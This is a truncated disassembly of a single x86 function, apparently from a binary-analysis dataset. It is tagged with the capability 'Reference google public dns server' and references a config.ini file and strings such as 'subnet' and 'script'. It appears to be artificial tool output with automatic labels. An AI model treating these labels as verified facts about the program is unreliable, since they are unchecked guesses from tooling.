Function at 0x4b1d46
Capabilities:
Reference google public dns server

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xec
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
push 8
call fcn.0052e1b3
add esp, 4
mov dword [ebp - 0x24], eax
mov edi, eax
mov esi, 0x61d9fb
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x44], 0
push 8
call fcn.0052e1b3
add esp, 4
mov dword [ebp - 0x48], eax
mov edi, eax
mov esi, 0x61d9fb
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x88], 0
push 8
call fcn.0052e1b3
add esp, 4
mov dword [ebp - 0x8c], eax
mov edi, eax
mov esi, 0x61d9fb
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x98], 0
mov eax, 0x636d43
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push 2
push dword [ebp + 8]
call fcn.00411489
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b1ed9
push ebx
call fcn.0052e1b9
add esp, 4
mov eax, 0x77f54f
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push 0
push dword [ebp + 8]
call fcn.00411489
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b1f0b
push ebx
call fcn.0052e1b9
add esp, 4
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov ebx, dword [0x8c4648]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp - 4]
dec eax
jns 0x4b1f3b
push 0x7d
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b1f58
push 0x7d
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
mov dword [ebp - 0x9c], ebx
mov ebx, dword [ebp - 0x9c]
mov eax, dword [ebx]
test eax, eax
je 0x4b1f86
push eax
mov ebx, eax
call fcn.0040102b
inc eax
push eax
call fcn.0052e1b3
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4b1f97
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov ebx, dword [0x8c4648]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp - 4]
dec eax
jns 0x4b1fc5
push 0xae
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b1fe2
push 0xae
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0xc
mov dword [ebp - 0x9c], ebx
mov ebx, dword [ebp - 0x9c]
mov eax, dword [ebx]
mov dword [ebp - 0xc], eax
mov ebx, dword [0x8c4648]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp - 4]
dec eax
jns 0x4b2027
push 0xdf
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b2044
push 0xdf
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x9c], ebx
mov ebx, dword [ebp - 0x9c]
mov eax, dword [ebx]
test eax, eax
je 0x4b2075
push eax
mov ebx, eax
call fcn.0040102b
inc eax
push eax
call fcn.0052e1b3
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x4b2086
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
push 0xa
push dword [ebp + 8]
call fcn.0041183f
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x9c]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x4b20b4
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
push 0
mov ebx, 0x52e8d0
call fcn.0052e1bf
add esp, 4
mov dword [ebp - 0x9c], eax
push str.configconfig.ini
push dword [ebp - 0x9c]
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b2101
push ebx
call fcn.0052e1b9
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x637334
push reloc.WS2_32.dll_connect
push 0
push str.script
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x4b2135
mov eax, 0x61d995
push eax
push 4
mov ebx, 0x532560
call fcn.0052e1bf
add esp, 0x34
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x4b2161
push ebx
call fcn.0052e1b9
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4b2178
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
push 0
mov ebx, 0x52e8d0
call fcn.0052e1bf
add esp, 4
mov dword [ebp - 0x9c], eax
push str.configconfig.ini
push dword [ebp - 0x9c]
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b21c5
push ebx
call fcn.0052e1b9
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.subnet
push reloc.WS2_32.dll_connect
push 0
push str.script
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x4b21f9
mov eax, 0x61d995
push eax
push 4
mov ebx, 0x532560
call fcn.0052e1bf
add esp, 0x34
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x4b2225
push ebx
call fcn.0052e1b9
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4b223c
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov ebx, dword [0x8c4648]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp - 4]
dec eax
jns 0x4b226a
push 0x263
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b2287
push 0x263
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x10
mov dword [ebp - 0x9c], ebx
mov ebx, dword [ebp - 0x9c]
cmp dword [ebx], 0
jne 0x4b6a96
push 0x61d995
push dword [ebp - 0x20]
call fcn.004010f2
add esp, 8
cmp eax, 0
jne 0x4b28da
mov ecx, 0
push ecx
shl ecx, 2
add ecx, 8
push ecx
call fcn.0052e1b3
add esp, 4
mov edi, eax
mov dword [edi], 1
add edi, 4
pop ecx
push eax
push ecx
mov dword [edi], 0
add edi, 4
mov ebx, dword [ebp - 0x24]
call fcn.00401197
pop edx
test ecx, ecx
je 0x4b2351
push edi
push edx
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4b2316
push ebx
call fcn.0052e1b9
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4b232a
push ebx
call fcn.0052e1b9
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4b233e
push ebx
call fcn.0052e1b9
add esp, 4
pop ebx
call fcn.0052e1b9
add esp, 4
pop ebx
pop ecx
add ebx, 4
dec ecx
jne 0x4b22fe
pop edx
pop edi
test edx, edx
je 0x4b2393
mov ebx, edi
push edx
push ebx
push 0x10
call fcn.0052e1b3
add esp, 4
pop ebx
push ebx
mov dword [ebx], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
pop ebx
pop edx
add ebx, 4
dec edx
jne 0x4b235b
push dword [ebp - 0x24]
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
push 1
push dword [ebp - 0xc]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00411ba1
mov dword [ebp - 0x28], eax
mov eax, 0x61d995
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x4b23cd
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
push 0x80000301
push 0
push dword [ebp - 0x28]
push 1
mov ebx, 0x530500
call fcn.0052e1bf
add esp, 0x10
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push 4
push dword [ebp + 8]
call fcn.00411489
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b241a
push ebx
call fcn.0052e1b9
add esp, 4
mov eax, dword [ebp - 0x28]
xor ecx, ecx
push eax
lea eax, [ebp - 0x2c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x4b28d2
push 0
mov ebx, 0x52e8d0
call fcn.0052e1bf
add esp, 4
mov dword [ebp - 0x9c], eax
push 0x637345
push dword [ebp - 0x10]
push str.config_
push dword [ebp - 0x9c]
mov ecx, 4
call fcn.00401096
add esp, 0x10
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b2485
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x24]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp - 0x2c]
dec eax
jns 0x4b24ac
push 0x3fb
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b24c9
push 0x3fb
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0xa4], ebx
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.staus
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0xa4]
mov eax, dword [ebx]
test eax, eax
jne 0x4b2503
mov eax, 0x61d995
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x4b251a
mov eax, 0x61d995
push eax
push 4
mov ebx, 0x532560
call fcn.0052e1bf
add esp, 0x34
mov dword [ebp - 0xa8], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x4b2546
push ebx
call fcn.0052e1b9
add esp, 4
push 0x63735c
push dword [ebp - 0xa8]
call fcn.004010f2
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0xac], eax
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x4b257d
push ebx
call fcn.0052e1b9
add esp, 4
cmp dword [ebp - 0xac], 0
je 0x4b28ca
mov ebx, dword [ebp - 0x24]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp - 0x2c]
dec eax
jns 0x4b25b1
push 0x45b
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b25ce
push 0x45b
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x9c], ebx
mov ebx, dword [ebp - 0x9c]
mov eax, dword [ebx]
test eax, eax
je 0x4b25ff
push eax
mov ebx, eax
call fcn.0040102b
inc eax
push eax
call fcn.0052e1b3
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x4b2610
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x24]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp - 0x2c]
dec eax
jns 0x4b263b
push 0x4b0
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b2658
push 0x4b0
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0xc
mov dword [ebp - 0x9c], ebx
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 0x9c]
push dword [ebx]
call fcn.004010f2
add esp, 8
cmp eax, 0
je 0x4b26fb
mov ebx, dword [ebp - 0x24]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp - 0x2c]
dec eax
jns 0x4b26ac
push 0x4e1
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b26c9
push 0x4e1
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0xc
mov dword [ebp - 0xa4], ebx
push 0x61d995
mov ebx, dword [ebp - 0xa4]
push dword [ebx]
call fcn.004010f2
add esp, 8
cmp eax, 0
je 0x4b26fb
xor eax, eax
jmp 0x4b2700
mov eax, 1
test eax, eax
je 0x4b283e
mov ebx, dword [0x8c4648]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x4b2732
push 0x513
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b274f
push 0x513
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x38
mov dword [ebp - 0x9c], ebx
fild dword [ebp - 0xc]
fstp qword [ebp - 0xa4]
fld qword [ebp - 0xa4]
fsub qword [0x61d996]
fstp qword [ebp - 0xac]
fld qword [ebp - 0xac]
fmul qword [0x6210bd]
fstp qword [ebp - 0xb4]
fld qword [ebp - 0xb4]
fadd qword [0x63735e]
fstp qword [ebp - 0xbc]
push 0x80000601
push dword [ebp - 0xb8]
push dword [ebp - 0xbc]
push 1
mov ebx, 0x530500
call fcn.0052e1bf
add esp, 0x10
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0xc0]
push eax
mov ebx, dword [ebp - 0x9c]
mov ebx, dword [ebx]
test ebx, ebx
je 0x4b27e3
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov ebx, dword [ebp - 0x9c]
mov dword [ebx], eax
fild dword [ebp - 0xc]
fstp qword [ebp - 0xa0]
fld qword [ebp - 0xa0]
fsub qword [0x61d996]
fstp qword [ebp - 0xa8]
fld qword [ebp - 0xa8]
fmul qword [0x637366]
fstp qword [ebp - 0xb0]
fld qword [ebp - 0xb0]
fadd qword [0x63736e]
fstp qword [ebp - 0xb8]
fld qword [ebp - 0xb8]
call fcn.00401004
mov dword [ebp - 0x30], eax
jmp 0x4b28c0
mov ebx, dword [0x8c4648]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x4b2868
push 0x621
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b2885
push 0x621
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x38
mov dword [ebp - 0x9c], ebx
mov eax, 0x637376
push eax
mov ebx, dword [ebp - 0x9c]
mov ebx, dword [ebx]
test ebx, ebx
je 0x4b28b0
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov ebx, dword [ebp - 0x9c]
mov dword [ebx], eax
mov dword [ebp - 0x30], 0x237b
jmp 0x4b28d2
pop eax
pop ebx
pop ecx
jmp 0x4b2426
add esp, 0xc
jmp 0x4b28da
push 0x61d995
push dword [ebp - 0x20]
call fcn.004010f2
add esp, 8
cmp eax, 0
je 0x4b59cc
mov dword [ebp - 0x34], 0
mov eax, 0x61d995
push eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x4b2910
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x28]
xor ecx, ecx
push eax
lea eax, [ebp - 0x2c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x4b2b17
mov ebx, dword [ebp - 0x24]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp - 0x2c]
dec eax
jns 0x4b2955
push 0x783
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b2972
push 0x783
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 8
mov dword [ebp - 0x9c], ebx
push str.running
mov ebx, dword [ebp - 0x9c]
push dword [ebx]
call fcn.004010f2
add esp, 8
cmp eax, 0
jne 0x4b2b0f
mov ebx, dword [ebp - 0x24]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp - 0x2c]
dec eax
jns 0x4b29c7
push 0x7cd
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b29e4
push 0x7cd
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x9c], ebx
mov ebx, dword [ebp - 0x9c]
mov eax, dword [ebx]
push eax
push dword [ebp - 0x20]
call fcn.004010f2
add esp, 8
cmp eax, 0
jne 0x4b2aa7
mov dword [ebp - 0x34], 1
mov ebx, dword [ebp - 0x24]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp - 0x2c]
dec eax
jns 0x4b2a3f
push 0x81c
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b2a5c
push 0x81c
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0xc
mov dword [ebp - 0x9c], ebx
mov ebx, dword [ebp - 0x9c]
mov eax, dword [ebx]
test eax, eax
je 0x4b2a8d
push eax
mov ebx, eax
call fcn.0040102b
inc eax
push eax
call fcn.0052e1b3
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x4b2a9e
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x38], eax
jmp 0x4b2b0a
mov ebx, dword [ebp - 0x24]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp - 0x2c]
dec eax
jns 0x4b2ace
push 0x84e
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b2aeb
push 0x84e
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x9c], ebx
push dword [ebp - 0x9c]
lea eax, [ebp - 8]
push eax
call fcn.004144af
jmp 0x4b2b0f
pop eax
pop ebx
pop ecx
jmp 0x4b2920
add esp, 0xc
cmp dword [ebp - 0x34], 1
jne 0x4b2b44
push 0x61d995
push dword [ebp - 0x38]
call fcn.004010f2
add esp, 8
cmp eax, 0
je 0x4b2b44
mov eax, 1
jmp 0x4b2b49
mov eax, 0
test eax, eax
je 0x4b5834
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00414c29
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 1
jne 0x4b2b7d
mov dword [ebp - 0x3c], 0
jmp 0x4b2dde
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0x32
jl 0x4b2ca5
mov dword [ebp - 0x3c], 0
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
call fcn.004144af
push 0x1388
call fcn.004153a8
mov ecx, 0
push ecx
shl ecx, 2
add ecx, 8
push ecx
call fcn.0052e1b3
add esp, 4
mov edi, eax
mov dword [edi], 1
add edi, 4
pop ecx
push eax
push ecx
mov dword [edi], 0
add edi, 4
mov ebx, dword [ebp - 0x24]
call fcn.00401197
pop edx
test ecx, ecx
je 0x4b2c3a
push edi
push edx
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4b2bff
push ebx
call fcn.0052e1b9
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4b2c13
push ebx
call fcn.0052e1b9
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4b2c27
push ebx
call fcn.0052e1b9
add esp, 4
pop ebx
call fcn.0052e1b9
add esp, 4
pop ebx
pop ecx
add ebx, 4
dec ecx
jne 0x4b2be7
pop edx
pop edi
test edx, edx
je 0x4b2c7c
mov ebx, edi
push edx
push ebx
push 0x10
call fcn.0052e1b3
add esp, 4
pop ebx
push ebx
mov dword [ebx], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
pop ebx
pop edx
add ebx, 4
dec edx
jne 0x4b2c44
push dword [ebp - 0x24]
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
push 1
push dword [ebp - 0xc]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00411ba1
mov dword [ebp - 0x28], eax
jmp 0x4b2dd9
push 0x1388
call fcn.004153a8
mov eax, 0x637383
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push 3
push dword [ebp + 8]
call fcn.00411489
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b2ce1
push ebx
call fcn.0052e1b9
add esp, 4
mov ecx, 0
push ecx
shl ecx, 2
add ecx, 8
push ecx
call fcn.0052e1b3
add esp, 4
mov edi, eax
mov dword [edi], 1
add edi, 4
pop ecx
push eax
push ecx
mov dword [edi], 0
add edi, 4
mov ebx, dword [ebp - 0x24]
call fcn.00401197
pop edx
test ecx, ecx
je 0x4b2d73
push edi
push edx
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4b2d38
push ebx
call fcn.0052e1b9
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4b2d4c
push ebx
call fcn.0052e1b9
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4b2d60
push ebx
call fcn.0052e1b9
add esp, 4
pop ebx
call fcn.0052e1b9
add esp, 4
pop ebx
pop ecx
add ebx, 4
dec ecx
jne 0x4b2d20
pop edx
pop edi
test edx, edx
je 0x4b2db5
mov ebx, edi
push edx
push ebx
push 0x10
call fcn.0052e1b3
add esp, 4
pop ebx
push ebx
mov dword [ebx], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
pop ebx
pop edx
add ebx, 4
dec edx
jne 0x4b2d7d
push dword [ebp - 0x24]
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
push 1
push dword [ebp - 0xc]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00411ba1
mov dword [ebp - 0x28], eax
jmp 0x4b2240
mov eax, 0x63738c
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push 3
push dword [ebp + 8]
call fcn.00411489
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b2e10
push ebx
call fcn.0052e1b9
add esp, 4
cmp dword [ebp - 0x40], 0
jne 0x4b2f2b
xor ecx, ecx
inc ecx
push ecx
cmp ecx, 5
jg 0x4b2f23
mov ebx, dword [0x8c4648]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp - 4]
dec eax
jns 0x4b2e51
push 0xc42
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b2e6e
push 0xc42
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x10
mov dword [ebp - 0x9c], ebx
mov ebx, dword [ebp - 0x9c]
cmp dword [ebx], 1
jne 0x4b2e97
jmp 0x4b2f23
mov dword [ebp - 0x9c], esp
push 0xa
push dword [ebp - 0x30]
push dword [ebp - 0x38]
mov eax, 0x13
call fcn.0052e1ad
add esp, 0xc
cmp dword [ebp - 0x9c], esp
je 0x4b2ed4
push 0xc9d
push 0x40182c6
push 6
call fcn.0052e1a7
add esp, 0xc
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jle 0x4b2f1d
mov eax, 0x637397
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push 3
push dword [ebp + 8]
call fcn.00411489
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b2f13
push ebx
call fcn.0052e1b9
add esp, 4
jmp 0x4b2f23
pop ecx
jmp 0x4b2e1c
add esp, 4
jmp 0x4b2f2b
cmp dword [ebp - 0x40], 0
jle 0x4b5808
push 0x80000301
push 0
push dword [ebp - 0x40]
push 1
mov ebx, 0x530500
call fcn.0052e1bf
add esp, 0x10
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push 0xc
push dword [ebp - 4]
call fcn.00411489
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b2f7e
push ebx
call fcn.0052e1b9
add esp, 4
lea eax, [ebp - 0x38]
push eax
push 9
push dword [ebp - 4]
call fcn.00411489
lea eax, [ebp - 0x20]
push eax
push 0xd
push dword [ebp - 4]
call fcn.00411489
mov ebx, dword [0x8c4648]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp - 4]
dec eax
jns 0x4b2fca
push 0xe9c
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b2fe7
push 0xe9c
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x9c], ebx
mov eax, dword [ebp - 0x40]
mov ebx, dword [ebp - 0x9c]
mov dword [ebx], eax
mov ebx, dword [0x8c4648]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp - 4]
dec eax
jns 0x4b302c
push 0xecd
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b3049
push 0xecd
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x20
mov dword [ebp - 0x9c], ebx
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x4b3075
push eax
mov ebx, eax
call fcn.0040102b
inc eax
push eax
call fcn.0052e1b3
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x9c]
mov ebx, dword [ebx]
test ebx, ebx
je 0x4b308b
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov ebx, dword [ebp - 0x9c]
mov dword [ebx], eax
mov ebx, dword [0x8c4648]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp - 4]
dec eax
jns 0x4b30be
push 0xefe
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b30db
push 0xefe
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 8
mov dword [ebp - 0x9c], ebx
mov eax, dword [ebp - 0x38]
test eax, eax
je 0x4b3107
